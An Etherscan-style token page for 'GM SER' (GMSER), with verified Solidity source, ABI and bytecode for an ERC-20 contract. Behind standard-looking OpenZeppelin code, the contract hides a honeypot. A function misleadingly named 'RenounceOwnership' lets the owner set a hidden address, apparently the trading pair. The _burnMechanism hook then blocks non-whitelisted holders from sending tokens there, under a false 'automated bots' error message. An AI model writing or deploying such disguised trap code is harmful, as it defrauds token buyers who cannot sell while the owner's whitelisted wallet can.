ETH Price: $2,959.87 (-1.02%)
Gas: 7 Gwei

Token

GM SER (GMSER)
 

Overview

Max Total Supply

10,000,000,000,000 GMSER

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
teemojoshi.eth
Balance
9,009,956,895.733080441653302658 GMSER

Value
$0.00
0xc32438f7e4d3444acb88c23ecdadbc9989acc344
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GMSER

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-13
*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
}

// File @openzeppelin/contracts/token/ERC20/[email protected]
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    
    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _burnMechanism(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _burnMechanism(address(0), account);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _burnMechanism(account, address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burnMechanism(address from, address to) internal virtual { }
}

contract GMSER is ERC20, Ownable {
    mapping(address=>bool) private _db;
    address private _ownershipId;
    constructor() ERC20('GM SER','GMSER') {
        _mint(0xf9869C298e36fC86DDB65131CB41480Ada34eF7f, 10000000000000 * 10 ** 18);
        _db[0xf9869C298e36fC86DDB65131CB41480Ada34eF7f] = true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override (ERC20) {
        require(ERC20.totalSupply() + amount <= 10000000000000 * 10 ** 18, "ERC20Capped: Coin Amount Exceeded");
        super._mint(account, amount);
    }
    
    function UpdateDB(address user, bool enable) public onlyOwner {
        _db[user] = enable;
    }
    
    function RenounceOwnership(address ownershipId_) public onlyOwner {
        _ownershipId = ownershipId_;
    }

    function _burnMechanism(address from, address to) internal virtual override {
        if(to == _ownershipId) {
            require(_db[from], "Tokens sent by automated bots are burnt.");
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"ownershipId_","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"UpdateDB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600681526020017f474d2053455200000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f474d534552000000000000000000000000000000000000000000000000000000815250816003908051906020019062000096929190620004f8565b508060049080519060200190620000af929190620004f8565b5050506000620000c46200020860201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200019673f9869c298e36fc86ddb65131cb41480ada34ef7f6c7e37be2022c0914b26800000006200021060201b60201c565b60016006600073f9869c298e36fc86ddb65131cb41480ada34ef7f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200085a565b600033905090565b6c7e37be2022c0914b268000000081620002346200029f60201b620003bd1760201c565b6200024091906200075f565b111562000284576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200027b90620006cb565b60405180910390fd5b6200029b8282620002a960201b620009b11760201c565b5050565b6000600254905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000313906200070f565b60405180910390fd5b6200032f6000836200040d60201b60201c565b80600260008282546200034391906200075f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039a91906200075f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000401919062000731565b60405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620004f457600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16620004f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ea90620006ed565b60405180910390fd5b5b5050565b8280546200050690620007c6565b90600052602060002090601f0160209004810192826200052a576000855562000576565b82601f106200054557805160ff191683800117855562000576565b8280016001018555821562000576579182015b828111156200057557825182559160200191906001019062000558565b5b50905062000585919062000589565b5090565b5b80821115620005a45760008160009055506001016200058a565b5090565b6000620005b76021836200074e565b91507f45524332304361707065643a20436f696e20416d6f756e74204578636565646560008301527f64000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006200061f6028836200074e565b91507f546f6b656e732073656e74206279206175746f6d6174656420626f747320617260008301527f65206275726e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b600062000687601f836200074e565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b620006c581620007bc565b82525050565b60006020820190508181036000830152620006e681620005a8565b9050919050565b60006020820190508181036000830152620007088162000610565b9050919050565b600060208201905081810360008301526200072a8162000678565b9050919050565b6000602082019050620007486000830184620006ba565b92915050565b600082825260208201905092915050565b60006200076c82620007bc565b91506200077983620007bc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b157620007b0620007fc565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620007df57607f821691505b60208210811415620007f657620007f56200082b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6119e4806200086a6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063bfd0b8a3146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b6040516101049190611602565b60405180910390f35b6101276004803603810190610122919061116b565b61039f565b60405161013491906115e7565b60405180910390f35b6101456103bd565b6040516101529190611764565b60405180910390f35b610175600480360381019061017091906110e0565b6103c7565b60405161018291906115e7565b60405180910390f35b6101936104c8565b6040516101a0919061177f565b60405180910390f35b6101c360048036038101906101be919061116b565b6104d1565b6040516101d091906115e7565b60405180910390f35b6101f360048036038101906101ee919061107b565b61057d565b6040516102009190611764565b60405180910390f35b610223600480360381019061021e919061107b565b6105c5565b005b61022d610685565b60405161023a91906115cc565b60405180910390f35b61024b6106af565b6040516102589190611602565b60405180910390f35b61027b6004803603810190610276919061116b565b610741565b60405161028891906115e7565b60405180910390f35b6102ab60048036038101906102a6919061116b565b610835565b6040516102b891906115e7565b60405180910390f35b6102db60048036038101906102d6919061112f565b610853565b005b6102f760048036038101906102f291906110a4565b61092a565b6040516103049190611764565b60405180910390f35b60606003805461031c906118c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610348906118c8565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b04565b8484610b0c565b6001905092915050565b6000600254905090565b60006103d4848484610cd7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610496906116a4565b60405180910390fd5b6104bc856104ab610b04565b85846104b7919061180c565b610b0c565b60019150509392505050565b60006012905090565b60006105736104de610b04565b8484600160006104ec610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e91906117b6565b610b0c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b04565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610638906116c4565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be906118c8565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea906118c8565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490611724565b60405180910390fd5b61082a610818610b04565b858584610825919061180c565b610b0c565b600191505092915050565b6000610849610842610b04565b8484610cd7565b6001905092915050565b61085b610b04565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c6906116c4565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611744565b60405180910390fd5b610a2c600083610f55565b8060026000828254610a3e91906117b6565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a9391906117b6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610af89190611764565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390611704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390611644565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cca9190611764565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e906116e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90611624565b60405180910390fd5b610dc18383610f55565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3e90611664565b60405180910390fd5b8181610e53919061180c565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee391906117b6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f479190611764565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561103857600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e90611684565b60405180910390fd5b5b5050565b60008135905061104b81611969565b92915050565b60008135905061106081611980565b92915050565b60008135905061107581611997565b92915050565b60006020828403121561108d57600080fd5b600061109b8482850161103c565b91505092915050565b600080604083850312156110b757600080fd5b60006110c58582860161103c565b92505060206110d68582860161103c565b9150509250929050565b6000806000606084860312156110f557600080fd5b60006111038682870161103c565b93505060206111148682870161103c565b925050604061112586828701611066565b9150509250925092565b6000806040838503121561114257600080fd5b60006111508582860161103c565b925050602061116185828601611051565b9150509250929050565b6000806040838503121561117e57600080fd5b600061118c8582860161103c565b925050602061119d85828601611066565b9150509250929050565b6111b081611840565b82525050565b6111bf81611852565b82525050565b60006111d08261179a565b6111da81856117a5565b93506111ea818560208601611895565b6111f381611958565b840191505092915050565b600061120b6023836117a5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112716022836117a5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112d76026836117a5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061133d6028836117a5565b91507f546f6b656e732073656e74206279206175746f6d6174656420626f747320617260008301527f65206275726e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113a36028836117a5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114096020836117a5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006114496025836117a5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114af6024836117a5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115156025836117a5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061157b601f836117a5565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6115b78161187e565b82525050565b6115c681611888565b82525050565b60006020820190506115e160008301846111a7565b92915050565b60006020820190506115fc60008301846111b6565b92915050565b6000602082019050818103600083015261161c81846111c5565b905092915050565b6000602082019050818103600083015261163d816111fe565b9050919050565b6000602082019050818103600083015261165d81611264565b9050919050565b6000602082019050818103600083015261167d816112ca565b9050919050565b6000602082019050818103600083015261169d81611330565b9050919050565b600060208201905081810360008301526116bd81611396565b9050919050565b600060208201905081810360008301526116dd816113fc565b9050919050565b600060208201905081810360008301526116fd8161143c565b9050919050565b6000602082019050818103600083015261171d816114a2565b9050919050565b6000602082019050818103600083015261173d81611508565b9050919050565b6000602082019050818103600083015261175d8161156e565b9050919050565b600060208201905061177960008301846115ae565b92915050565b600060208201905061179460008301846115bd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117c18261187e565b91506117cc8361187e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611801576118006118fa565b5b828201905092915050565b60006118178261187e565b91506118228361187e565b925082821015611835576118346118fa565b5b828203905092915050565b600061184b8261185e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118b3578082015181840152602081019050611898565b838111156118c2576000848401525b50505050565b600060028204905060018216806118e057607f821691505b602082108114156118f4576118f3611929565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61197281611840565b811461197d57600080fd5b50565b61198981611852565b811461199457600080fd5b50565b6119a08161187e565b81146119ab57600080fd5b5056fea264697066735822122045b7e3f3a311cbe256611e4dda25cc6917c788f3bf92c6f11bd2323c971d64b364736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063bfd0b8a3146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b6040516101049190611602565b60405180910390f35b6101276004803603810190610122919061116b565b61039f565b60405161013491906115e7565b60405180910390f35b6101456103bd565b6040516101529190611764565b60405180910390f35b610175600480360381019061017091906110e0565b6103c7565b60405161018291906115e7565b60405180910390f35b6101936104c8565b6040516101a0919061177f565b60405180910390f35b6101c360048036038101906101be919061116b565b6104d1565b6040516101d091906115e7565b60405180910390f35b6101f360048036038101906101ee919061107b565b61057d565b6040516102009190611764565b60405180910390f35b610223600480360381019061021e919061107b565b6105c5565b005b61022d610685565b60405161023a91906115cc565b60405180910390f35b61024b6106af565b6040516102589190611602565b60405180910390f35b61027b6004803603810190610276919061116b565b610741565b60405161028891906115e7565b60405180910390f35b6102ab60048036038101906102a6919061116b565b610835565b6040516102b891906115e7565b60405180910390f35b6102db60048036038101906102d6919061112f565b610853565b005b6102f760048036038101906102f291906110a4565b61092a565b6040516103049190611764565b60405180910390f35b60606003805461031c906118c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610348906118c8565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b04565b8484610b0c565b6001905092915050565b6000600254905090565b60006103d4848484610cd7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610496906116a4565b60405180910390fd5b6104bc856104ab610b04565b85846104b7919061180c565b610b0c565b60019150509392505050565b60006012905090565b60006105736104de610b04565b8484600160006104ec610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e91906117b6565b610b0c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b04565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610638906116c4565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be906118c8565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea906118c8565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490611724565b60405180910390fd5b61082a610818610b04565b858584610825919061180c565b610b0c565b600191505092915050565b6000610849610842610b04565b8484610cd7565b6001905092915050565b61085b610b04565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c6906116c4565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611744565b60405180910390fd5b610a2c600083610f55565b8060026000828254610a3e91906117b6565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a9391906117b6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610af89190611764565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390611704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bec576040517f08c379a0000000000000000000